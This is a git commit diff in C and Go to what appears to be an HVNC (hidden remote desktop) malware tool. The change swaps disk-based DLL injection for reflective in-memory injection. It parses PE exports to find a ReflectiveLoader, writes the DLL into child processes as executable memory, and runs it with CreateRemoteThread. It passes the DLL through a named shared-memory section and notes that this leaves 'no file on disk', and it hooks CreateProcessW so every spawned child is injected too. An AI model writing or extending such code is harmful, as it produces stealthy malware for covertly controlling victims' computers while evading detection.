save2
This commit is contained in:
+170
-36
@@ -300,7 +300,11 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
pCreateProcessW OriginalCreateProcessW = NULL;
|
||||
static WCHAR g_DllPath[512] = { 0 };
|
||||
|
||||
// In-memory DLL bytes for child injection (mapped from named section)
|
||||
static HANDLE g_DllSectionHandle = NULL;
|
||||
static LPVOID g_DllRawBytes = NULL;
|
||||
static DWORD g_DllRawSize = 0;
|
||||
|
||||
// Helper function to check if path needs redirection
|
||||
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
||||
@@ -713,41 +717,134 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
||||
QueryFlags, FileName);
|
||||
}
|
||||
|
||||
// Inject the DLL into a child process via LoadLibraryW
|
||||
static BOOL InjectDllIntoChild(HANDLE hProcess, const WCHAR* dllPath) {
|
||||
SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR);
|
||||
// Inject the DLL into a child process via reflective injection (no file on disk)
|
||||
static DWORD _rva2fo(DWORD rva, const BYTE* pe, DWORD peSize, DWORD sectionOff, WORD numSections) {
|
||||
for (WORD i = 0; i < numSections; i++) {
|
||||
DWORD off = sectionOff + (DWORD)i * 40;
|
||||
if (off + 40 > peSize) break;
|
||||
DWORD virtualAddr = *(DWORD*)(pe + off + 12);
|
||||
DWORD rawDataSize = *(DWORD*)(pe + off + 16);
|
||||
DWORD rawDataPtr = *(DWORD*)(pe + off + 20);
|
||||
if (rva >= virtualAddr && rva < virtualAddr + rawDataSize) {
|
||||
return rva - virtualAddr + rawDataPtr;
|
||||
}
|
||||
}
|
||||
if (numSections > 0) {
|
||||
DWORD firstRawPtr = *(DWORD*)(pe + sectionOff + 20);
|
||||
if (rva < firstRawPtr) return rva;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!remoteMem) return FALSE;
|
||||
static DWORD FindReflectiveLoaderFileOffset(const BYTE* pe, DWORD peSize) {
|
||||
if (peSize < 64 || pe[0] != 'M' || pe[1] != 'Z') return 0;
|
||||
|
||||
DWORD lfanew = *(DWORD*)(pe + 60);
|
||||
if (lfanew + 4 > peSize) return 0;
|
||||
if (*(DWORD*)(pe + lfanew) != 0x00004550) return 0; // PE sig
|
||||
|
||||
DWORD coffOff = lfanew + 4;
|
||||
if (coffOff + 20 > peSize) return 0;
|
||||
WORD numberOfSections = *(WORD*)(pe + coffOff + 2);
|
||||
WORD sizeOfOptionalHeader = *(WORD*)(pe + coffOff + 16);
|
||||
|
||||
DWORD optOff = coffOff + 20;
|
||||
if (optOff + 2 > peSize) return 0;
|
||||
WORD magic = *(WORD*)(pe + optOff);
|
||||
|
||||
DWORD exportDirRVA = 0;
|
||||
if (magic == 0x20b) { // PE32+
|
||||
DWORD ddOff = optOff + 112;
|
||||
if (ddOff + 8 > peSize) return 0;
|
||||
exportDirRVA = *(DWORD*)(pe + ddOff);
|
||||
} else if (magic == 0x10b) { // PE32
|
||||
DWORD ddOff = optOff + 96;
|
||||
if (ddOff + 8 > peSize) return 0;
|
||||
exportDirRVA = *(DWORD*)(pe + ddOff);
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
if (exportDirRVA == 0) return 0;
|
||||
|
||||
DWORD sectionOff = optOff + sizeOfOptionalHeader;
|
||||
|
||||
// RVA to file offset helper (inline)
|
||||
#define RVA2FO(rva) _rva2fo((rva), pe, peSize, sectionOff, numberOfSections)
|
||||
DWORD exportDirFO = RVA2FO(exportDirRVA);
|
||||
if (exportDirFO == 0 || exportDirFO + 40 > peSize) return 0;
|
||||
|
||||
DWORD numberOfNames = *(DWORD*)(pe + exportDirFO + 24);
|
||||
DWORD addressOfFunctionsRVA = *(DWORD*)(pe + exportDirFO + 28);
|
||||
DWORD addressOfNamesRVA = *(DWORD*)(pe + exportDirFO + 32);
|
||||
DWORD addressOfOrdinalsRVA = *(DWORD*)(pe + exportDirFO + 36);
|
||||
|
||||
DWORD namesFO = RVA2FO(addressOfNamesRVA);
|
||||
DWORD funcsFO = RVA2FO(addressOfFunctionsRVA);
|
||||
DWORD ordinalsFO = RVA2FO(addressOfOrdinalsRVA);
|
||||
if (namesFO == 0 || funcsFO == 0 || ordinalsFO == 0) return 0;
|
||||
|
||||
for (DWORD i = 0; i < numberOfNames; i++) {
|
||||
if (namesFO + i * 4 + 4 > peSize) break;
|
||||
DWORD nameRVA = *(DWORD*)(pe + namesFO + i * 4);
|
||||
DWORD nameFO = RVA2FO(nameRVA);
|
||||
if (nameFO == 0 || nameFO >= peSize) continue;
|
||||
|
||||
// Check for "ReflectiveLoader" substring
|
||||
const char* name = (const char*)(pe + nameFO);
|
||||
BOOL found = FALSE;
|
||||
for (DWORD k = 0; nameFO + k < peSize && name[k] != 0; k++) {
|
||||
if (name[k] == 'R' && nameFO + k + 16 <= peSize) {
|
||||
if (memcmp(&name[k], "ReflectiveLoader", 16) == 0) {
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!found) continue;
|
||||
|
||||
if (ordinalsFO + i * 2 + 2 > peSize) continue;
|
||||
WORD ordinal = *(WORD*)(pe + ordinalsFO + i * 2);
|
||||
if (funcsFO + ordinal * 4 + 4 > peSize) continue;
|
||||
DWORD funcRVA = *(DWORD*)(pe + funcsFO + ordinal * 4);
|
||||
return RVA2FO(funcRVA);
|
||||
}
|
||||
#undef RVA2FO
|
||||
return 0;
|
||||
}
|
||||
|
||||
static BOOL ReflectiveInjectIntoChild(HANDLE hProcess, const BYTE* dllBytes, DWORD dllSize) {
|
||||
DWORD loaderOffset = FindReflectiveLoaderFileOffset(dllBytes, dllSize);
|
||||
if (loaderOffset == 0) {
|
||||
LogDebug(L"[ChildInject] ReflectiveLoader export not found");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (!remoteMem) {
|
||||
LogDebug(L"[ChildInject] VirtualAllocEx failed");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T written;
|
||||
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) {
|
||||
if (!WriteProcessMemory(hProcess, remoteMem, dllBytes, dllSize, &written)) {
|
||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||
LogDebug(L"[ChildInject] WriteProcessMemory failed");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HMODULE k32 = GetModuleHandleW(L"kernel32.dll");
|
||||
if (!k32) {
|
||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
LPTHREAD_START_ROUTINE remoteLoader =
|
||||
(LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset);
|
||||
|
||||
FARPROC pLoadLib = GetProcAddress(k32, "LoadLibraryW");
|
||||
if (!pLoadLib) {
|
||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)pLoadLib, remoteMem, 0, NULL);
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024,
|
||||
remoteLoader, NULL, 0, NULL);
|
||||
if (!hThread) {
|
||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||
LogDebug(L"[ChildInject] CreateRemoteThread failed");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, 10000);
|
||||
WaitForSingleObject(hThread, 30000);
|
||||
CloseHandle(hThread);
|
||||
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -774,9 +871,10 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
||||
lpStartupInfo, lpProcessInformation
|
||||
);
|
||||
|
||||
if (result && lpProcessInformation && g_DllPath[0] != L'\0') {
|
||||
LogDebug(L"[CreateProcessW] Injecting DLL into child process");
|
||||
if (!InjectDllIntoChild(lpProcessInformation->hProcess, g_DllPath)) {
|
||||
if (result && lpProcessInformation && g_DllRawBytes && g_DllRawSize > 0) {
|
||||
LogDebug(L"[CreateProcessW] Reflective-injecting DLL into child process");
|
||||
if (!ReflectiveInjectIntoChild(lpProcessInformation->hProcess,
|
||||
(const BYTE*)g_DllRawBytes, g_DllRawSize)) {
|
||||
LogDebug(L"[CreateProcessW] Child injection failed");
|
||||
} else {
|
||||
LogDebug(L"[CreateProcessW] Child injection succeeded");
|
||||
@@ -815,7 +913,9 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
||||
// Initialize to empty strings to prevent crashes
|
||||
g_SearchString[0] = L'\0';
|
||||
g_ReplacementString[0] = L'\0';
|
||||
g_DllPath[0] = L'\0';
|
||||
g_DllSectionHandle = NULL;
|
||||
g_DllRawBytes = NULL;
|
||||
g_DllRawSize = 0;
|
||||
|
||||
// Try to get configuration from environment variables
|
||||
__try {
|
||||
@@ -850,15 +950,40 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
||||
}
|
||||
}
|
||||
|
||||
// Read DLL path for child process injection
|
||||
WCHAR envDllPath[512] = { 0 };
|
||||
DWORD dllPathLen = GetEnvironmentVariableW(L"RDI_DLL_PATH", envDllPath, 512);
|
||||
if (dllPathLen > 0 && dllPathLen < 512) {
|
||||
wcsncpy_s(g_DllPath, 512, envDllPath, dllPathLen);
|
||||
g_DllPath[dllPathLen] = L'\0';
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebug(L"[ENV] DLL path for child injection: ");
|
||||
LogDebug(g_DllPath);
|
||||
// Read DLL section for child process injection (in-memory, no file on disk)
|
||||
WCHAR envSectionName[512] = { 0 };
|
||||
WCHAR envDllSize[32] = { 0 };
|
||||
DWORD sectionNameLen = GetEnvironmentVariableW(L"RDI_DLL_SECTION", envSectionName, 512);
|
||||
DWORD dllSizeLen = GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32);
|
||||
|
||||
if (sectionNameLen > 0 && sectionNameLen < 512 && dllSizeLen > 0 && dllSizeLen < 32) {
|
||||
g_DllRawSize = 0;
|
||||
for (DWORD i = 0; i < dllSizeLen; i++) {
|
||||
g_DllRawSize = g_DllRawSize * 10 + (envDllSize[i] - L'0');
|
||||
}
|
||||
|
||||
g_DllSectionHandle = OpenFileMappingW(FILE_MAP_READ, FALSE, envSectionName);
|
||||
if (g_DllSectionHandle) {
|
||||
g_DllRawBytes = MapViewOfFile(g_DllSectionHandle, FILE_MAP_READ, 0, 0, g_DllRawSize);
|
||||
if (g_DllRawBytes) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
char msg[256];
|
||||
sprintf_s(msg, 256, "[ENV] DLL shared memory mapped: %lu bytes", g_DllRawSize);
|
||||
LogDebugA(msg);
|
||||
}
|
||||
} else {
|
||||
CloseHandle(g_DllSectionHandle);
|
||||
g_DllSectionHandle = NULL;
|
||||
g_DllRawSize = 0;
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("[ENV] MapViewOfFile failed for DLL section");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
g_DllRawSize = 0;
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("[ENV] OpenFileMappingW failed for DLL section");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -987,6 +1112,15 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
||||
MH_DisableHook(MH_ALL_HOOKS);
|
||||
MH_Uninitialize();
|
||||
|
||||
if (g_DllRawBytes) {
|
||||
UnmapViewOfFile(g_DllRawBytes);
|
||||
g_DllRawBytes = NULL;
|
||||
}
|
||||
if (g_DllSectionHandle) {
|
||||
CloseHandle(g_DllSectionHandle);
|
||||
g_DllSectionHandle = NULL;
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(g_LogFile);
|
||||
g_LogFile = INVALID_HANDLE_VALUE;
|
||||
|
||||
@@ -26,6 +26,9 @@ var (
|
||||
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
|
||||
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
|
||||
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
|
||||
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
|
||||
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
|
||||
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
|
||||
)
|
||||
|
||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
@@ -605,18 +608,20 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
|
||||
return fmt.Errorf("empty DLL bytes")
|
||||
}
|
||||
|
||||
dllTmpPath, err := writeDLLToTemp(dllBytes)
|
||||
// Create a page-file-backed named section containing the raw DLL bytes.
|
||||
// Child processes will open this section to reflectively inject themselves.
|
||||
shmHandle, shmName, err := createDLLSharedMemory(dllBytes)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to write DLL to temp: %v", err)
|
||||
return fmt.Errorf("failed to create DLL shared memory: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL written to %s for child injection", dllTmpPath)
|
||||
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
|
||||
|
||||
enableDebugPrivilege()
|
||||
|
||||
// Create the process suspended on the HVNC desktop
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath)
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
|
||||
if err != nil {
|
||||
os.Remove(dllTmpPath)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return fmt.Errorf("failed to create suspended process: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||
@@ -625,12 +630,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
|
||||
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
||||
procCloseHandle.Call(hProcess)
|
||||
procCloseHandle.Call(hThread)
|
||||
// Try to kill the process
|
||||
terminateProcess(hProcess)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return fmt.Errorf("DLL injection failed: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
||||
|
||||
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
|
||||
// loader thread). The DLL opened the shared section, so we can release
|
||||
// our handle now.
|
||||
procCloseHandle.Call(shmHandle)
|
||||
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
// Resume the main thread
|
||||
@@ -649,21 +659,46 @@ func terminateProcess(hProcess uintptr) {
|
||||
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
||||
}
|
||||
|
||||
func writeDLLToTemp(dllBytes []byte) (string, error) {
|
||||
f, err := os.CreateTemp("", "hvnc_rdi_*.dll")
|
||||
// createDLLSharedMemory creates a named page-file-backed section containing
|
||||
// the raw DLL bytes. Returns the mapping handle and section name.
|
||||
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
|
||||
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
|
||||
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return "", err
|
||||
return 0, "", err
|
||||
}
|
||||
if _, err := f.Write(dllBytes); err != nil {
|
||||
f.Close()
|
||||
os.Remove(f.Name())
|
||||
return "", err
|
||||
|
||||
size := len(dllBytes)
|
||||
handle, _, callErr := procCreateFileMappingW.Call(
|
||||
^uintptr(0), // INVALID_HANDLE_VALUE
|
||||
0, // default security
|
||||
0x04, // PAGE_READWRITE
|
||||
0, // high-order size
|
||||
uintptr(size),
|
||||
uintptr(unsafe.Pointer(namePtr)),
|
||||
)
|
||||
if handle == 0 {
|
||||
return 0, "", fmt.Errorf("CreateFileMappingW: %v", callErr)
|
||||
}
|
||||
f.Close()
|
||||
return f.Name(), nil
|
||||
|
||||
view, _, callErr := procMapViewOfFile.Call(
|
||||
handle,
|
||||
0x2, // FILE_MAP_WRITE
|
||||
0, 0,
|
||||
uintptr(size),
|
||||
)
|
||||
if view == 0 {
|
||||
procCloseHandle.Call(handle)
|
||||
return 0, "", fmt.Errorf("MapViewOfFile: %v", callErr)
|
||||
}
|
||||
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(view)), size), dllBytes)
|
||||
|
||||
procUnmapViewOfFile.Call(view)
|
||||
return handle, name, nil
|
||||
}
|
||||
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath string) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||
@@ -690,7 +725,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPa
|
||||
si.dwY = 0
|
||||
si.dwFlags = STARTF_USEPOSITION
|
||||
|
||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, dllTmpPath)
|
||||
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
|
||||
if err != nil {
|
||||
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
|
||||
}
|
||||
@@ -717,13 +752,14 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPa
|
||||
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
|
||||
}
|
||||
|
||||
func buildEnvironmentBlock(searchPath, replacePath, dllTmpPath string) ([]uint16, error) {
|
||||
func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int) ([]uint16, error) {
|
||||
envStrings := syscall.Environ()
|
||||
|
||||
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
|
||||
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
|
||||
if dllTmpPath != "" {
|
||||
envStrings = append(envStrings, "RDI_DLL_PATH="+dllTmpPath)
|
||||
if shmName != "" {
|
||||
envStrings = append(envStrings, "RDI_DLL_SECTION="+shmName)
|
||||
envStrings = append(envStrings, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
|
||||
}
|
||||
|
||||
var block []uint16
|
||||
|
||||
Reference in New Issue
Block a user